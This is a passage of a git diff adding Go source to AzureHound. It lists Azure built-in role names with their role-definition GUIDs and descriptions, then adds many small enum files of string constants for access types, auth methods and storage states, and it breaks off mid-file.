"ab8e14d6-4a74-4a29-9ba8-549422addade" + + // Microsoft Sentinel Reader + MicrosoftSentinelReaderRoleID string = "8d289c81-5878-46d4-8554-54e1e3d8b5cb" + + // Microsoft Sentinel Responder + MicrosoftSentinelResponderRoleID string = "3e150937-b8fe-4cfb-8069-0eaf05ecd056" + + // Microsoft.Kubernetes connected cluster role. + MicrosoftKubernetesConnectedClusterRoleID string = "5548b2cf-c94c-4228-90ba-30851930a12f" + + // Can read and update Monitored Objects and associated Data Collection Rules. + MonitoredObjectsContributorRoleID string = "56be40e2-4db1-4ccf-93c3-7e44c597135b" + + // Can read all monitoring data and update monitoring settings. + MonitoringContributorRoleID string = "749f88d5-cbae-40b8-bcfc-e573ddc772fa" + + // Enables publishing metrics against Azure resources + MonitoringMetricsPublisherRoleID string = "3913510d-42f4-4e42-8a64-420c390055eb" + + // Can read all monitoring data. + MonitoringReaderRoleID string = "43d0d8ad-25c7-4714-9337-8ba259a9fe05" + + // Lets you manage networks, but not access to them. + NetworkContributorRoleID string = "4d97b98b-1d4f-4787-a291-c67834d212e7" + + // Lets you manage New Relic Application Performance Management accounts and applications, but not access to them. + NewRelicAPMAccountContributorRoleID string = "5d28c62d-5b37-4476-8438-e587778df237" + + // Provides user with ingestion capabilities for an object anchors account. + ObjectAnchorsAccountOwnerRoleID string = "ca0835dd-bacc-42dd-8ed2-ed5e7230d15b" + + // Lets you read ingestion jobs for an object anchors account. + ObjectAnchorsAccountReaderRoleID string = "4a167cdf-cb95-4554-9203-2347fe489bd9" + + // Provides user with ingestion capabilities for Azure Object Understanding. + ObjectUnderstandingAccountOwnerRoleID string = "4dd61c23-6743-42fe-a388-d8bdd41cb745" + + // Lets you read ingestion jobs for an object understanding account. + ObjectUnderstandingAccountReaderRoleID string = "d18777c0-1514-4662-8490-608db7d334b6" + + // Grants full access to manage all resources, including the ability to assign roles in Azure RBAC. + OwnerRoleID string = "8e3af657-a8ff-443c-a75c-2fe8c4bcb635" + + // Provides contributor access to PlayFab resources + PlayFabContributorRoleID string = "0c8b84dc-067c-4039-9615-fa1a4b77c726" + + // Provides read access to PlayFab resources + PlayFabReaderRoleID string = "a9a19cc5-31f4-447c-901f-56c0bb18fcaf" + + // Allows read access to resource policies and write access to resource component policy events. + PolicyInsightsDataWriterRoleID string = "66bb4e9e-b016-4a94-8249-4c0511c2be84" + + // The user has access to perform administrative actions on all PowerApps resources within the tenant. + PowerAppsAdministratorRoleID string = "53be45b2-ad40-43ab-bc1f-2c962ac99ded" + + // PowerAppsReadersWithReshare can use the resource and re-share it with other users, but cannot edit the resource or re-share it with edit permissions. + PowerAppsReaderWithReshareRoleID string = "6877c72c-edd3-4048-9b4b-cf8e514477b0" + + // Lets you manage private DNS zone resources, but not the virtual networks they are linked to. + PrivateDNSZoneContributorRoleID string = "b12aa53e-6015-4669-85d0-8515ebb3ae7f" + + // The Microsoft.ProjectBabylon data curator can create, read, modify and delete catalog data objects and establish relationships between objects. This role is in preview and subject to change. + ProjectBabylonDataCuratorRoleID string = "9ef4ef9c-a049-46b0-82ab-dd8ac094c889" + + // The Microsoft.ProjectBabylon data reader can read catalog data objects. This role is in preview and subject to change. + ProjectBabylonDataReaderRoleID string = "c8d896ba-346d-4f50-bc1d-7d1c84130446" + + // The Microsoft.ProjectBabylon data source administrator can manage data sources and data scans. This role is in preview and subject to change. + ProjectBabylonDataSourceAdministratorRoleID string = "05b7651b-dc44-475e-b74d-df3db49fae0f" + + // Deprecated role. + Purview1DeprecatedRoleID string = "8a3c2885-9b38-4fd2-9d99-91af537c1347" + + // Deprecated role. + Purview2DeprecatedRoleID string = "200bba9e-f0c8-430f-892b-6f0794863803" + + // Deprecated role. + Purview3DeprecatedRoleID string = "ff100721-1b9d-43d8-af52-42b69c1272db" + + // Read and create quota requests, get quota request status, and create support tickets. + QuotaRequestOperatorRoleID string = "0e5f05e5-9ab9-446b-b98d-1e2157c94125" + + // View all resources, but does not allow you to make any changes. + ReaderRoleID string = "acdd72a7-3385-48ef-bd42-f606fba81ae7" + + // Lets you view everything but will not let you delete or create a storage account or contained resource. It will also allow read/write access to all data contained in a storage account via access to storage account keys. + ReaderandDataAccessRoleID string = "c12c1c16-33a1-487b-954d-41c89c60f349" + + // Lets you manage Redis caches, but not access to them. + RedisCacheContributorRoleID string = "e0f68234-74aa-48ed-b826-c38b57376e17" + + // Provides user with conversion, manage session, rendering and diagnostics capabilities for Azure Remote Rendering + RemoteRenderingAdministratorRoleID string = "3df8b902-2a6f-47c7-8cc5-360e9b272a7e" + + // Provides user with manage session, rendering and diagnostics capabilities for Azure Remote Rendering. + RemoteRenderingClientRoleID string = "d39065c4-c120-43c9-ab0a-63eed9795f0a" + + // Lets you purchase reservations + ReservationPurchaserRoleID string = "f7b75c60-3036-4b75-91c3-6b41c27c1689" + + // Lets one read and manage all the reservations in a tenant + ReservationsAdministratorRoleID string = "a8889054-8d42-49c9-bc1c-52486c10e7cd" + + // Lets one read all the reservations in a tenant + ReservationsReaderRoleID string = "582fc458-8989-419f-a480-75249bc5db7e" + + // Users with rights to create/modify resource policy, create support ticket and read resources/hierarchy. + ResourcePolicyContributorRoleID string = "36243c78-bf99-498c-9df9-86d9f8d28608" + + // Lets you manage SQL databases, but not access to them. Also, you can't manage their security-related policies or their parent SQL servers. + SQLDBContributorRoleID string = "9b7fa17d-e63e-47b0-bb0a-15c516ac86ec" + + // Lets you manage SQL Managed Instances and required network configuration, but can’t give access to others. + SQLManagedInstanceContributorRoleID string = "4939a1f6-9ae0-4e48-a1e0-f2cbe897382d" + + // Lets you manage the security-related policies of SQL servers and databases, but not access to them. + SQLSecurityManagerRoleID string = "056cd41c-7e88-42e1-933e-88ba6a50c9c3" + + // Lets you manage SQL servers and databases, but not access to them, and not their security -related policies. + SQLServerContributorRoleID string = "6d8ee4ec-f05a-4a1d-8b00-a9b17e38b437" + + // Provides access to manage maintenance configurations with maintenance scope InGuestPatch and corresponding configuration assignments + ScheduledPatchingContributorRoleID string = "cd08ab90-6b14-449c-ad9a-8f8e549482c6" + + // Lets you manage Scheduler job collections, but not access to them. + SchedulerJobCollectionsContributorRoleID string = "188a0f2f-5c9e-469b-ae67-2aa5ce574b94" + + // Read, write, and delete Schema Registry groups and schemas. + SchemaRegistryContributorRoleID string = "5dffeca3-4936-4216-b2bc-10343a5abb25" + + // Read and list Schema Registry groups and schemas. + SchemaRegistryReaderRoleID string = "2c56ea50-c6b3-40a6-83c0-9d98858bc7d2" + + // Grants full access to Azure Cognitive Search index data. + SearchIndexDataContributorRoleID string = "8ebe5a00-799e-43f5-93ac-243d3dce84a7" + + // Grants read access to Azure Cognitive Search index data. + SearchIndexDataReaderRoleID string = "1407120a-92aa-4202-b7e9-c0e197c71c8f" + + // Lets you manage Search services, but not access to them. + SearchServiceContributorRoleID string = "7ca78c08-252a-4471-8644-bb5ff32d4ba0" + + // Security Admin Role + SecurityAdminRoleID string = "fb1c8493-542b-48eb-b624-b4c8fea62acd" + + // Lets you push assessments to Security Center + SecurityAssessmentContributorRoleID string = "612c2aa1-cb24-443b-ac28-3ab7272de6f5" + + // Allowed to publish and modify platforms, workflows and toolsets to Security Detonation Chamber + SecurityDetonationChamberPublisherRoleID string = "352470b3-6a9c-4686-b503-35deb827e500" + + // Allowed to query submission info and files from Security Detonation Chamber + SecurityDetonationChamberReaderRoleID string = "28241645-39f8-410b-ad48-87863e2951d5" + + // Allowed to create and manage submissions to Security Detonation Chamber + SecurityDetonationChamberSubmissionManagerRoleID string = "a37b566d-3efa-4beb-a2f2-698963fa42ce" + + // Allowed to create submissions to Security Detonation Chamber + SecurityDetonationChamberSubmitterRoleID string = "0b555d9b-b4a7-4f43-b330-627f0e5be8f0" + + // This is a legacy role. Please use Security Administrator instead + SecurityManagerLegacyRoleID string = "e3d13bf0-dd5a-482e-ba6b-9b8433878d10" + + // Security Reader Role + SecurityReaderARMRoleID string = "39bc4728-0917-49c7-9d2c-d95423bc2eb4" + + // Services Hub Operator allows you to perform all read, write, and deletion operations related to Services Hub Connectors. + ServicesHubOperatorRoleID string = "82200a5b-e217-47a5-b665-6d8765ee745b" + + // Read SignalR Service Access Keys + SignalRAccessKeyReaderRoleID string = "04165923-9d83-45d5-8227-78b77b0a687e" + + // Lets your app server access SignalR Service with AAD auth options. + SignalRAppServerRoleID string = "420fcaa2-552c-430f-98ca-3264be4806c7" + + // Full access to Azure SignalR Service REST APIs + SignalRRESTAPIOwnerRoleID string = "fd53cd77-2268-407a-8f46-7e7863d0f521" + + // Read-only access to Azure SignalR Service REST APIs + SignalRRESTAPIReaderRoleID string = "ddde6b66-c0df-4114-a159-3618637b3035" + + // Full access to Azure SignalR Service REST APIs + SignalRServiceOwnerRoleID string = "7e4f1700-ea5a-4f59-8f37-079cfe29dce3" + + // Create, Read, Update, and Delete SignalR service resources + SignalRWebPubSubContributorRoleID string = "8cf5e20a-e4b2-4e9d-b3a1-5ceb692c2761" + + // Lets you manage Site Recovery service except vault creation and role assignment + SiteRecoveryContributorRoleID string = "6670b86e-a3f7-4917-ac9b-5d6ab1be4567" + + // Lets you failover and failback but not perform other Site Recovery management operations + SiteRecoveryOperatorRoleID string = "494ae006-db33-4328-bf46-533a6560a3ca" + + // Lets you view Site Recovery status but not perform other management operations + SiteRecoveryReaderRoleID string = "dbaa88c4-0c30-4179-9fb3-46319faa6149" + + // Lets you manage spatial anchors in your account, but not delete them + SpatialAnchorsAccountContributorRoleID string = "8bbe83f1-e2a6-4df7-8cb4-4e04d4e5c827" + + // Lets you manage spatial anchors in your account, including deleting them + SpatialAnchorsAccountOwnerRoleID string = "70bbe301-9835-447d-afdd-19eb3167307c" + + // Lets you locate and read properties of spatial anchors in your account + SpatialAnchorsAccountReaderRoleID string = "5d51204f-eb77-4b1c-b86a-2ec626c49413" + + // Lets you perform backup and restore operations using Azure Backup on the storage account. + StorageAccountBackupContributorRoleID string = "e5e2a7ff-d759-4cd2-bb51-3152d37e2eb1" + + // Lets you manage storage accounts, including accessing storage account keys which provide full access to storage account data. + StorageAccountContributorRoleID string = "17d1049b-9a84-46fb-8f53-869881c3d3ab" + + // Storage Account Key Operators are allowed to list and regenerate keys on Storage Accounts + StorageAccountKeyOperatorServiceRoleID string = "81a9662b-bebf-436f-a333-f67b29880f12" + + // Allows for read, write and delete access to Azure Storage blob containers and data + StorageBlobDataContributorRoleID string = "ba92f5b4-2d11-453d-a403-e96b0029c9fe" + + // Allows for full access to Azure Storage blob containers and data, including assigning POSIX access control. + StorageBlobDataOwnerRoleID string = "b7e6dc6d-f1e8-4753-8033-0f276bb0955b" + + // Allows for read access to Azure Storage blob containers and data + StorageBlobDataReaderRoleID string = "2a2b9908-6ea1-4ae2-8e65-a410df84e7d1" + + // Allows for generation of a user delegation key which can be used to sign SAS tokens + StorageBlobDelegatorRoleID string = "db58b8e5-c6ad-4a2a-8342-4190687cbf4a" + + // Allows for read, write, and delete access in Azure Storage file shares over SMB + StorageFileDataSMBShareContributorRoleID string = "0c867c2a-1d8c-454a-a3db-ab2ea1bdc8bb" + + // Allows for read, write, delete and modify NTFS permission access in Azure Storage file shares over SMB + StorageFileDataSMBShareElevatedContributorRoleID string = "a7264617-510b-434b-a828-9731dc254ea7" + + // Allows for read access to Azure File Share over SMB + StorageFileDataSMBShareReaderRoleID string = "aba4ae5f-2193-4029-9191-0cb91df5e314" + + // Allows for read, write, and delete access to Azure Storage queues and queue messages + StorageQueueDataContributorRoleID string = "974c5e8b-45b9-4653-ba55-5f855dd0fb88" + + // Allows for peek, receive, and delete access to Azure Storage queue messages + StorageQueueDataMessageProcessorRoleID string = "8a0f0c08-91a1-4084-bc3d-661d67233fed" + + // Allows for sending of Azure Storage queue messages + StorageQueueDataMessageSenderRoleID string = "c6a89b2d-59bc-44d0-9896-0f6e12d7b80a" + + // Allows for read access to Azure Storage queues and queue messages + StorageQueueDataReaderRoleID string = "19e7f393-937e-4f77-808e-94535e297925" + + // Allows for read, write and delete access to Azure Storage tables and entities + StorageTableDataContributorRoleID string = "0a9a7e1f-b9d0-4cc4-a60d-0319b160aaa3" + + // Allows for read access to Azure Storage tables and entities + StorageTableDataReaderRoleID string = "76199698-9eea-4c19-bc75-cec21354c6b6" + + // Lets you perform query testing without creating a stream analytics job first + StreamAnalyticsQueryTesterRoleID string = "1ec5b3c1-b17e-4e25-8312-2acb3c3c5abf" + + // Lets you create and manage Support requests + SupportRequestContributorRoleID string = "cfd33db0-3dd1-45e3-aa9d-cdbdf3b6f24e" + + // Lets you manage tags on entities, without providing access to the entities themselves. + TagContributorRoleID string = "4a9ae827-6dc8-4573-8ac7-8239d42aa03f" + + // Let you view and download packages and test results. + TestBaseReaderRoleID string = "15e0f5a1-3450-4248-8e25-e2afe88a9e85" + + // Lets you manage Traffic Manager profiles, but does not let you control who has access to them. + TrafficManagerContributorRoleID string = "a4b10055-b0c7-44c2-b00f-c7b5b3550cf7" + + // Lets you manage user access to Azure resources. + UserAccessAdminRoleID string = "18d7d88d-d35e-4fb5-a5c3-7773c20a72d9" + + // Role that provides access to disk snapshot for security analysis. + VMScannerOperatorRoleID string = "d24ecba3-c1f4-40fa-a7bb-4588a071e8fd" + + // Has access to view and search through all video's insights and transcription in the Video Indexer portal. No access to model customization, embedding of widget, downloading videos, or sharing the account. + VideoIndexerRestrictedViewerRoleID string = "a2c4a527-7dc0-4ee3-897b-403ade70fafb" + + // View Virtual Machines in the portal and login as administrator + VirtualMachineAdministratorLoginRoleID string = "1c0163c0-47e6-4577-8991-ea5c82e286e4" + + // Deprecated. Use VirtualMachineAdministratorLoginRoleID instead. + AdminLoginRoleID string = "1c0163c0-47e6-4577-8991-ea5c82e286e4" + + // Lets you manage virtual machines, but not access to them, and not the virtual network or storage account they're connected to. + VirtualMachineContributorRoleID string = "9980e02c-c2be-4d73-94e8-173b1dc7cf3c" + + // View Virtual Machines in the portal and login as a local user configured on the arc server + VirtualMachineLocalUserLoginRoleID string = "602da2ba-a5c2-41da-b01d-5360126ab525" + + // View Virtual Machines in the portal and login as a regular user. + VirtualMachineUserLoginRoleID string = "fb879df8-f326-4884-b1cf-06f3ad86be52" + + // Lets you manage the web plans for websites, but not access to them. + WebPlanContributorRoleID string = "2cc479cb-7b4d-49a8-b449-8c00fd0f0a4b" + + // Full access to Azure Web PubSub Service REST APIs + WebPubSubServiceOwnerRoleID string = "12cf5a90-567b-43ae-8102-96cf46c7d9b4" + + // Read-only access to Azure Web PubSub Service REST APIs + WebPubSubServiceReaderRoleID string = "bfb1c7d2-fb1a-466b-b2ba-aee63b92deaf" + + // Lets you manage websites (not web plans), but not access to them. + WebsiteContributorRoleID string = "de139f84-1756-47ae-9be6-808fbbe84772" + + // Let's you manage the OS of your resource via Windows Admin Center as an administrator. + WindowsAdminCenterAdministratorLoginRoleID string = "a6333a3e-0164-44c3-b281-7a577aff287f" + + // Can save shared workbooks. + WorkbookContributorRoleID string = "e8ddcd69-c73f-4f9f-9844-4100522f16ad" + + // Can read workbooks. + WorkbookReaderRoleID string = "b279062a-9be3-42a0-92ae-8b3cf002ec4d" + + // WorkloadBuilder Migration Agent Role. + WorkloadBuilderMigrationAgentRoleID string = "d17ce0a2-0697-43bc-aac5-9113337ab61c" +) diff --git a/enums/accesstype.go b/enums/accesstype.go new file mode 100644 index 0000000..a362387 --- /dev/null +++ b/enums/accesstype.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AccessType string + +const ( + AccessTypeScope AccessType = "Scope" + AccessTypeRole AccessType = "Role" +) diff --git a/enums/account_immutability_policy_state.go b/enums/account_immutability_policy_state.go new file mode 100644 index 0000000..29c437a --- /dev/null +++ b/enums/account_immutability_policy_state.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AccountImmutabilityPolicyState string + +const ( + DisabledState AccountImmutabilityPolicyState = "Disabled" + LockedState AccountImmutabilityPolicyState = "Locked" + UnlockedState AccountImmutabilityPolicyState = "Unlocked" +) diff --git a/enums/agegroup.go b/enums/agegroup.go new file mode 100644 index 0000000..8bdd519 --- /dev/null +++ b/enums/agegroup.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AgeGroup string + +const ( + AgeGroupMinor AgeGroup = "minor" + AgeGroupNotAdult AgeGroup = "notAdult" + AgeGroupAdult AgeGroup = "adult" +) diff --git a/enums/allowedcopyscope.go b/enums/allowedcopyscope.go new file mode 100644 index 0000000..aee00fe --- /dev/null +++ b/enums/allowedcopyscope.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AllowedCopyScope string + +const ( + AADScope AllowedCopyScope = "AAD" + PrivateLinkScope AllowedCopyScope = "PrivateLink" +) diff --git a/enums/auth-method.go b/enums/auth-method.go new file mode 100644 index 0000000..7801685 --- /dev/null +++ b/enums/auth-method.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AuthMethod = string + +const ( + Certificate string = "Certificate" + Secret string = "Client Secret" + UsernamePassword string = "Username and Password" +) + +func AuthMethods() []AuthMethod { + return []AuthMethod{ + Certificate, + Secret, + UsernamePassword, + } +} diff --git a/enums/auto_heal_action_type.go b/enums/auto_heal_action_type.go new file mode 100644 index 0000000..1a8021c --- /dev/null +++ b/enums/auto_heal_action_type.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AutoHealActionType string + +const ( + CustomActionType AutoHealActionType = "CustomAction" + LogEventActionType AutoHealActionType = "LogEvent" + RecycleActionType AutoHealActionType = "Recycle" +) diff --git a/enums/automation_account_identity_type.go b/enums/automation_account_identity_type.go new file mode 100644 index 0000000..1f1c970 --- /dev/null +++ b/enums/automation_account_identity_type.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AutomationAccountIdentityType string + +const ( + ApplicationIdentityType AutomationAccountIdentityType = "Application" + KeyIdentityType AutomationAccountIdentityType = "Key" + ManagedIdentityType AutomationAccountIdentityType = "ManagedIdentity" + UserIdentityType AutomationAccountIdentityType = "User" +) diff --git a/enums/automation_account_state.go b/enums/automation_account_state.go new file mode 100644 index 0000000..767fa71 --- /dev/null +++ b/enums/automation_account_state.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AutomationAccountState string + +const ( + OkState AutomationAccountState = "Ok" + SuspendedState AutomationAccountState = "Suspended" + UnavailableState AutomationAccountState = "Unavailable" +) diff --git a/enums/autoreplystatus.go b/enums/autoreplystatus.go new file mode 100644 index 0000000..99aba3b --- /dev/null +++ b/enums/autoreplystatus.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AutoReplyStatus string + +const ( + AutoReplyStatusDisabled AutoReplyStatus = "disabled" + AutoReplyStatusAlwaysEnabled AutoReplyStatus = "alwaysEnabled" + AutoReplyStatusScheduled AutoReplyStatus = "scheduled" +) diff --git a/enums/azure_storage_state.go b/enums/azure_storage_state.go new file mode 100644 index 0000000..be27526 --- /dev/null +++ b/enums/azure_storage_state.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AzureStorageState string + +const ( + InvalidCredentialsStorageState AzureStorageState = "InvalidCredentials" + InvalidShareStorageState AzureStorageState = "InvalidShare" + NotValidatedStorageState AzureStorageState = "NotValidated" + OkStorageState AzureStorageState = "Ok" +) diff --git a/enums/azure_storage_type.go b/enums/azure_storage_type.go new file mode 100644 index 0000000..db8c142 --- /dev/null +++ b/enums/azure_storage_type.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AzureStorageType string + +const ( + AzureBlobStorageType AzureStorageType = "AzureBlob" + AzureFilesStorageType AzureStorageType = "AzureFiles" +) diff --git a/enums/blob_restore_progress_status.go b/enums/blob_restore_progress_status.go new file mode 100644 index 0000000..1215fb6 --- /dev/null +++ b/enums/blob_restore_progress_status.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type BlobRestoreProgressStatus string + +const ( + CompletedStatus BlobRestoreProgressStatus = "Complete" + FailedStatus BlobRestoreProgressStatus = "Failed" + InProgress BlobRestoreProgressStatus = "InProgress" +) diff --git a/enums/bypassoption.go b/enums/bypassoption.go new file mode 100644 index 0000000..917799d --- /dev/null +++ b/enums/bypassoption.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Tells what traffic can bypass network rules. This can be 'AzureServices' or 'None'. +// If not specified the default is 'AzureServices'. +type BypassOption string + +const ( + BypassOptionAzureServices BypassOption = "AzureServices" + BypassOptionNone BypassOption = "None" +) diff --git a/enums/capabiltystatus.go b/enums/capabiltystatus.go new file mode 100644 index 0000000..1e7c311 --- /dev/null +++ b/enums/capabiltystatus.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type CapabiltyStatus string + +const ( + // Available for normal use. + CapabiltyStatusEnabled CapabiltyStatus = "Enabled" + + // Available for normal use but is in a grace period. + CapabiltyStatusWarning CapabiltyStatus = "Warning" + + // Unavailable but any data associated with the capability must be preserved. + CapabiltyStatusSuspended CapabiltyStatus = "Suspended" + + // Unavailable and any data associated with the capability may be deleted. + CapabiltyStatusDeleted CapabiltyStatus = "Deleted" + + // Unavailable for all administrators and users but any data associated with the capability must be preserved. + CapabiltyStatusLockedOut CapabiltyStatus = "LockedOut" +) diff --git a/enums/client_cert_mode.go b/enums/client_cert_mode.go new file mode 100644 index 0000000..208aae2 --- /dev/null +++ b/enums/client_cert_mode.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ClientCertMode string + +const ( + OptionalClientCertMode ClientCertMode = "Optional" + OptionalInteractiveUserClientCertMode ClientCertMode = "OptionalInteractiveUser" + RequiredClientCertMode ClientCertMode = "Required" +) diff --git a/enums/connection_string_type.go b/enums/connection_string_type.go new file mode 100644 index 0000000..b5be93e --- /dev/null +++ b/enums/connection_string_type.go @@ -0,0 +1,34 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ConnectionStringType string + +const ( + ApiHubConnectionStringType ConnectionStringType = "ApiHub" + CustomConnectionStringType ConnectionStringType = "Custom" + DocDbConnectionStringType ConnectionStringType = "DocDb" + EventHubConnectionStringType ConnectionStringType = "EventHub" + MySqlConnectionStringType 